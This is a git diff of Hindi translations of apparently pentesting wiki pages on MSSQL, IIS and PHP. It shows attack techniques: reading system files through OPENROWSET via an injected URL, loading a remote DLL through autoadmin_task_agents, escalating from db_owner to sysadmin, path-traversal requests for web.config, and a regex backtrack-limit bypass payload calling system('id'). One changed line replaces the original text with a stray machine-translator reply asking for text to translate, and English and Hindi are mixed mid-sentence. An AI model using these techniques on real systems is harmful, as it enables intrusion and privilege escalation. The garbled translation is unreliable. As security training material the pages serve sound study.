तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं। +2. **Permission:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है: +- **Server Level** लॉगिन का उपयोग करके +- **Database Level** उपयोगकर्ताओं का उपयोग करके +3. **Principal:** यह शब्द उस इकाई को संदर्भित करता है जिसे एक securable पर अनुमति दी जाती है। प्रमुख मुख्य रूप से लॉगिन और डेटाबेस उपयोगकर्ताओं को शामिल करते हैं। Securables तक पहुँच पर नियंत्रण अनुमतियों को देने या अस्वीकार करने या लॉगिन और उपयोगकर्ताओं को पहुँच अधिकारों से सुसज्जित भूमिकाओं में शामिल करके किया जाता है। ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -269,7 +269,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25 > EXEC sp_helprotect 'xp_fileexist'; > ``` -**Responder** या **Inveigh** जैसे उपकरणों का उपयोग करके **NetNTLM हैश** को **चुराना** संभव है।\ +**responder** या **Inveigh** जैसे उपकरणों का उपयोग करके **NetNTLM हैश** को **चुराना** संभव है।\ आप इन उपकरणों का उपयोग कैसे करें, यह देख सकते हैं: {{#ref}} @@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **फाइल पढ़ें** OPENROWSET के साथ -डिफ़ॉल्ट रूप से, `MSSQL` फाइल **कोई भी फाइल पढ़ने की अनुमति देता है जिसमें खाते को पढ़ने की पहुंच है**। हम निम्नलिखित SQL क्वेरी का उपयोग कर सकते हैं: +डिफ़ॉल्ट रूप से, `MSSQL` फाइल **कोई भी फाइल पढ़ने की अनुमति देता है जिसमें ऑपरेटिंग सिस्टम में खाता पढ़ने की पहुंच रखता है**। हम निम्नलिखित SQL क्वेरी का उपयोग कर सकते हैं: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -319,9 +319,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` -### **RCE/फाइलें पढ़ना स्क्रिप्ट चलाना (Python और R)** +### **RCE/फाइलें पढ़ना स्क्रिप्ट्स चलाना (Python और R)** -MSSQL आपको **Python और/या R में स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड **xp_cmdshell** का उपयोग करके कमांड चलाने वाले **विभिन्न उपयोगकर्ता** द्वारा चलाए जाएंगे। +MSSQL आपको **Python और/या R** में **स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड एक **अलग उपयोगकर्ता** द्वारा चलाए जाएंगे जो **xp_cmdshell** का उपयोग करके कमांड्स चलाता है। Example trying to execute a **'R'** _"Hellow World!"_ **काम नहीं कर रहा**: @@ -366,21 +366,21 @@ Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` -**अधिक उदाहरणों** के लिए [**मूल स्रोत**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) देखें। +For **अधिक उदाहरणों** के लिए [**मूल स्रोत**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) पर जाएं। -### MSSQL उपयोगकर्ता परिभाषित फ़ंक्शन - SQLHttp के साथ RCE +### RCE with MSSQL User Defined Function - SQLHttp -यह **कस्टम फ़ंक्शंस के साथ MSSQL में एक .NET dll लोड करना संभव है**। हालांकि, यह **`dbo` एक्सेस की आवश्यकता होती है** इसलिए आपको **`sa` या एक व्यवस्थापक भूमिका** के रूप में डेटाबेस के साथ एक कनेक्शन की आवश्यकता है। +यह **कस्टम फ़ंक्शंस के साथ MSSQL के भीतर एक .NET dll लोड करना संभव है**। हालांकि, यह **`dbo` एक्सेस की आवश्यकता होती है** इसलिए आपको **`sa` या एक Administrator भूमिका** के रूप में डेटाबेस के साथ एक कनेक्शन की आवश्यकता है। [**इस लिंक का पालन करें**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) एक उदाहरण देखने के लिए। -### `autoadmin_task_agents` के साथ RCE +### RCE with `autoadmin_task_agents` -[ **इस पोस्ट के अनुसार**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), एक दूरस्थ dll लोड करना और MSSQL को इसे कुछ इस तरह से निष्पादित करना भी संभव है: +[ **इस पोस्ट के अनुसार**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), एक रिमोट dll लोड करना और MSSQL को इसे कुछ इस तरह से निष्पादित करना भी संभव है: ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` -साथ: +It seems like your message is incomplete. Please provide the text you would like to have translated to Hindi. ```csharp using Microsoft.SqlServer.SmartAdmin; using System; @@ -432,13 +432,13 @@ public void Test() ``` ### अन्य तरीके RCE के लिए -कमांड निष्पादन प्राप्त करने के अन्य तरीके हैं, जैसे [विस्तारित स्टोर प्रक्रियाएँ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR असेंबली](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL सर्वर एजेंट जॉब्स](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [बाहरी स्क्रिप्ट](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)। +कमांड निष्पादन प्राप्त करने के अन्य तरीके हैं, जैसे कि [विस्तारित स्टोर प्रक्रियाएँ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR असेंबली](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL सर्वर एजेंट जॉब्स](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [बाहरी स्क्रिप्ट](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)। ## MSSQL विशेषाधिकार वृद्धि ### db_owner से sysadmin तक -यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** की भूमिका **ऐसे डेटाबेस** पर दी जाती है जो **एक व्यवस्थापक** उपयोगकर्ता (जैसे **`sa`**) द्वारा स्वामित्व में है और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाई गई **स्टोर प्रक्रियाएँ** जो **स्वामी** (**व्यवस्थापक**) के रूप में **निष्पादित** कर सकती हैं। +यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** की भूमिका **एक प्रशासक** उपयोगकर्ता द्वारा स्वामित्व वाले **डेटाबेस** पर दी जाती है (जैसे **`sa`**) और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाई गई **स्टोर प्रक्रियाएँ** स्वामी (**प्रशासक**) के रूप में **निष्पादित** कर सकती हैं। ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -476,7 +476,7 @@ SELECT is_srvrolemember('sysadmin') ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` -या एक **PS** स्क्रिप्ट: +या **PS** स्क्रिप्ट: ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 @@ -505,8 +505,8 @@ enum_links use_link [NAME] ``` > [!NOTE] -> यदि आप किसी उपयोगकर्ता की नकल कर सकते हैं, भले ही वह sysadmin न हो, तो आपको यह जांचना चाहिए कि **क्या उपयोगकर्ता को अन्य **databases** या लिंक किए गए सर्वरों तक पहुंच है**। - +> यदि आप किसी उपयोगकर्ता की नकल कर सकते हैं, भले ही वह sysadmin न हो, तो आपको यह जांचना चाहिए कि **क्या उपयोगकर्ता को अन्य** **databases** या लिंक किए गए सर्वरों तक पहुंच है। + ध्यान दें कि एक बार जब आप sysadmin बन जाते हैं, तो आप किसी अन्य की नकल कर सकते हैं: ```sql -- Impersonate RegUser @@ -527,7 +527,7 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! ``` -## MSSQL का उपयोग करना स्थिरता के लिए +## MSSQL का उपयोग करना स्थायीता के लिए [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) @@ -552,7 +552,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ## स्थानीय विशेषाधिकार वृद्धि MSSQL सर्वर चलाने वाला उपयोगकर्ता विशेषाधिकार टोकन **SeImpersonatePrivilege** सक्षम करेगा।\ -आप शायद इनमें से एक 2 पृष्ठों का पालन करते हुए **व्यवस्थापक में वृद्धि** करने में सक्षम होंगे: +आप शायद इनमें से किसी एक पृष्ठ का पालन करते हुए **व्यवस्थापक में वृद्धि** करने में सक्षम होंगे: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 65d405051..fed3515a6 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -35,7 +35,7 @@ X-FEServer: NHEXCHANGE2016 ## IIS Discovery Bruteforce -मैंने जो सूची बनाई है उसे डाउनलोड करें: +डाउनलोड करें सूची जो मैंने बनाई है: {{#file}} iisfinal.txt @@ -61,7 +61,7 @@ iisfinal.txt > [!NOTE] > संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ हैं। इस जानकारी के साथ यह जानना संभव है **executables कहां स्थित हैं** और उन्हें डाउनलोड करें।\ > **डाउनलोड की गई Dlls** से यह भी संभव है **नए namespaces** खोजने के लिए जहां आपको पहुंचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।\ -> इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** दिलचस्प जानकारी रख सकती हैं।\\ +> इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** दिलचस्प जानकारी रख सकती हैं। **.Net MVC applications** में, **web.config** फ़ाइल एक महत्वपूर्ण भूमिका निभाती है, जो प्रत्येक बाइनरी फ़ाइल को निर्दिष्ट करती है जिस पर एप्लिकेशन निर्भर करता है **"assemblyIdentity"** XML टैग के माध्यम से। @@ -84,11 +84,11 @@ Host: example-mvc-application.minded ### **रूट डायरेक्टरी फ़ाइलें** -रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती है), एप्लिकेशन की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं। +रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती हैं), एप्लिकेशन की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं। ### **Namespaces और Web.Config** -MVC एप्लिकेशन विशिष्ट नामस्थान के लिए अतिरिक्त **web.config फ़ाइलें** भी परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है: +MVC एप्लिकेशन विशिष्ट namespaces के लिए अतिरिक्त **web.config फ़ाइलें** भी परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है: ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded @@ -102,7 +102,7 @@ Host: example-mvc-application.minded ``` यह अन्य आवश्यक DLLs की उपस्थिति का सुझाव देता है, जैसे **System.Web.Mvc.dll** और **System.Web.Optimization.dll**, /bin निर्देशिका में। -एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के होने का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति को इंगित करता है। +एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के होने का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के लिए संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति को इंगित करता है। ### सामान्य फ़ाइलें @@ -241,7 +241,7 @@ ASPXAUTH निम्नलिखित जानकारी का उपय ## IIS Authentication Bypass with cached passwords (CVE-2022-30209) -[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी** पर हिट करता है जो पहले से ही **cache** में है, वह उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा। +[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी पर हिट करता है** जो पहले से ही **cache** में है, वह उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा। ```python # script for sanity check > type test.py diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 8693b9b98..ddc410f8c 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -6,7 +6,7 @@ यह phpMyAdmin कुकीज़ के लिए भी मान्य है। -कुकीज़: +Cookies: ``` PHPSESSID phpMyAdmin @@ -32,7 +32,7 @@ PHP तुलना तालिकाएँ: [https://www.php.net/manual/en/typ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf {{#endfile}} -- `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती है, वह संख्या के बराबर होती है +- `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती है, वह एक संख्या के बराबर होती है - `"0xAAAA" == "43690" -> True` संख्याओं से बनी स्ट्रिंग्स को अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है, यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं) - `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और किसी भी चीज़ के बाद आने वाली स्ट्रिंग 0 के बराबर होगी - `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर (X कोई भी अक्षर हो सकता है) और किसी भी चीज़ के बाद आने वाली स्ट्रिंग 0 के बराबर होगी @@ -62,9 +62,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ``` `strcasecmp()` के साथ भी वही त्रुटि होती है -### सख्त प्रकार जुगलिंग +### सख्त प्रकार जुगलबंदी -यहां तक कि यदि `===` का **उपयोग किया जा रहा है**, तब भी ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुगलिंग के लिए संवेदनशील** बनाती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**: +यहां तक कि अगर `===` का **उपयोग किया जा रहा है**, तो ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुगलबंदी के प्रति संवेदनशील** बनाती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -93,12 +93,12 @@ echo preg_match("/^.*1.*$/",$myinput); "cmd": "cat /etc/passwd" } ``` -यहाँ एक उदाहरण खोजें: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) +Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) #### **Length error bypass** (यह बायपास स्पष्ट रूप से PHP 5.2.5 पर आजमाया गया था और मैं इसे PHP 7.3.15 पर काम नहीं करवा सका)\ -यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है, तो आप भेज सकते हैं: +यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है तो आप भेज सकते हैं: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -113,14 +113,14 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf- संक्षेप में, समस्या इस कारण होती है क्योंकि PHP में `preg_*` फ़ंक्शन [PCRE लाइब्रेरी](http://www.pcre.org/) पर आधारित होते हैं। PCRE में कुछ नियमित अभिव्यक्तियों को बहुत सारे पुनरावृत्त कॉल का उपयोग करके मिलाया जाता है, जो बहुत अधिक स्टैक स्पेस का उपयोग करता है। पुनरावृत्तियों की अनुमति की गई मात्रा पर एक सीमा निर्धारित करना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) होती है, जो स्टैक में फिट होने से अधिक है। [यह Stackoverflow थ्रेड](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) भी उस पोस्ट में लिंक किया गया था जहाँ इस मुद्दे के बारे में अधिक गहराई से चर्चा की गई है। हमारा कार्य अब स्पष्ट था:\ -**एक इनपुट भेजें जो regex को 100_000+ पुनरावृत्तियों करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए और इस प्रकार एप्लिकेशन को यह सोचने पर मजबूर करे कि हमारा इनपुट दुर्भावनापूर्ण नहीं है, अंत में पे लोड में कुछ ऐसा फेंकते हुए `{system()}` जिससे SSTI --> RCE --> ध्वज :)**। +**एक इनपुट भेजें जो regex को 100_000+ पुनरावृत्तियों करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए और इस प्रकार एप्लिकेशन को यह सोचने पर मजबूर करे कि हमारा इनपुट दुर्भावनापूर्ण नहीं है, अंत में पेलोड में कुछ ऐसा फेंकते हुए `{system()}` जिससे SSTI --> RCE --> ध्वज :)**। -खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) के अनुसार `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1_000_000 (1M) होती है।\ +खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" को नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) के अनुसार `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1_000_000 (1M) होती है।\ इस तक पहुँचने के लिए, `'X'*500_001` 1 मिलियन बैकट्रैकिंग स्टेप्स (500k आगे और 500k पीछे) का परिणाम देगा: ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### PHP ओब्फ़स्केशन के लिए टाइप जगलिंग +### PHP ओब्फ़स्केशन के लिए टाइप जुगलिंग ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -133,7 +133,7 @@ $obfs += ""; //int 7 ``` ## Execute After Redirect (EAR) -यदि PHP किसी अन्य पृष्ठ पर रीडायरेक्ट कर रहा है लेकिन **`die`** या **`exit`** फ़ंक्शन **हेडर `Location`** सेट करने के बाद **कॉल** नहीं किया गया है, तो PHP निष्पादन जारी रखता है और डेटा को बॉडी में जोड़ता है: +यदि PHP किसी अन्य पृष्ठ पर रीडायरेक्ट कर रहा है लेकिन **`die`** या **`exit`** फ़ंक्शन **हेडर `Location`** सेट करने के बाद **कॉल** नहीं किया गया है, तो PHP निष्पादन जारी रखता है और डेटा को शरीर में जोड़ता है: ```php ** यह देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं। - [**LFI और RCE का उपयोग करके php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify -ये फ़ंक्शन आमतौर पर PHP में **पासवर्ड से हैश उत्पन्न करने** और यह **जांचने** के लिए उपयोग किए जाते हैं कि क्या एक पासवर्ड एक हैश के साथ सही है।\ +ये फ़ंक्शन आमतौर पर PHP में **पासवर्ड से हैश उत्पन्न करने** और यह **जांचने** के लिए उपयोग किए जाते हैं कि क्या एक पासवर्ड हैश की तुलना में सही है।\ समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (जो `$2y$` से शुरू होता है)। ध्यान दें कि **PASSWORD_DEFAULT अक्सर PASSWORD_BCRYPT के समान होता है।** और वर्तमान में, **PASSWORD_BCRYPT** में **72bytes के इनपुट में आकार की सीमा** है। इसलिए, जब आप इस एल्गोरिदम के साथ 72bytes से बड़ा कुछ हैश करने की कोशिश करते हैं, तो केवल पहले 72B का उपयोग किया जाएगा: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW @@ -174,9 +174,9 @@ True #### Causing error after setting headers -From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फाइलें भेजने पर, PHOP प्रतिक्रिया में हेडर सेट नहीं करेगा। +From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फ़ाइलें भेजने पर, PHOP प्रतिक्रिया में headers सेट नहीं करेगा। -उदाहरण के लिए CSP हेडर को बायपास करने की अनुमति देता है जो कोड में सेट किए गए हैं: +उदाहरण के लिए CSP headers को बायपास करने की अनुमति देता है जो कोड में सेट किए गए हैं: ```php ) @@ -200,7 +200,7 @@ php-ssrf.md ## कोड निष्पादन **system("ls");**\ -&#xNAN;**\`ls\`;**\ +**\`ls\`;**\ **shell_exec("ls");** [अधिक उपयोगी PHP फ़ंक्शंस के लिए इसे देखें](php-useful-functions-disable_functions-open_basedir-bypass/index.html) @@ -261,25 +261,25 @@ usort();}phpinfo;#, "cmp"); आपको बंद करने के लिए आवश्यक कोष्ठकों की संख्या खोजने के लिए: -- `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`). हम शायद एक या अधिक कोष्ठक खो रहे हैं। +- `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`). शायद हम एक या अधिक कोष्ठक खो रहे हैं। - `?order=id);}//`: हमें एक **चेतावनी** मिलती है। यह सही लगता है। -- `?order=id));}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ')' i`). हमारे पास शायद बहुत अधिक बंद कोष्ठक हैं। +- `?order=id));}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ')' i`). शायद हमारे पास बहुत अधिक बंद कोष्ठक हैं। ### **RCE via .httaccess** -यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजें **कॉन्फ़िगर** कर सकते हैं और यहां तक कि कोड भी निष्पादित कर सकते हैं (यह कॉन्फ़िगर करते समय कि .htaccess एक्सटेंशन वाले फ़ाइलों को **निष्पादित** किया जा सकता है)। +यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजें **कॉन्फ़िगर** कर सकते हैं और यहां तक कि कोड भी निष्पादित कर सकते हैं (यह कॉन्फ़िगर करते समय कि .htaccess फ़ाइलों को **निष्पादित** किया जा सकता है)। विभिन्न .htaccess शेल [यहां](https://github.com/wireghoul/htshells) मिल सकते हैं। ### RCE via Env Variables -यदि आप एक ऐसी भेद्यता पाते हैं जो आपको **PHP में env वेरिएबल्स को संशोधित** करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं। +यदि आप एक भेद्यता पाते हैं जो आपको **PHP में env वेरिएबल्स को संशोधित** करने की अनुमति देती है (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं। - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): यह env वेरिएबल आपको अन्य बाइनरीज़ को निष्पादित करते समय मनमाने लाइब्रेरीज़ लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता)। -- **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल का स्थान** बताता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी स्वयं की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरा फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**। -1. हमारे शेलकोड वाला एक PHP फ़ाइल अपलोड करें -2. एक दूसरा फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि वह पहले चरण में अपलोड की गई फ़ाइल को निष्पादित करे -3. `PHPRC` वेरिएबल को दूसरे चरण में अपलोड की गई फ़ाइल पर सेट करें। +- **`PHPRC`** : PHP को **इसके कॉन्फ़िगरेशन फ़ाइल का स्थान** बताता है, जिसे आमतौर पर `php.ini` कहा जाता है। यदि आप अपनी स्वयं की कॉन्फ़िगरेशन फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करके PHP को उस पर इंगित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो एक दूसरे अपलोड किए गए फ़ाइल को निर्दिष्ट करती है। यह दूसरी फ़ाइल सामान्य **PHP कोड है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**। +1. हमारे शेलकोड वाला PHP फ़ाइल अपलोड करें +2. एक दूसरी फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश हो जो PHP प्रीप्रोसेसर को बताता है कि चरण 1 में अपलोड की गई फ़ाइल को निष्पादित करें +3. `PHPRC` वेरिएबल को चरण 2 में अपलोड की गई फ़ाइल पर सेट करें। - इस श्रृंखला को निष्पादित करने के बारे में अधिक जानकारी प्राप्त करें 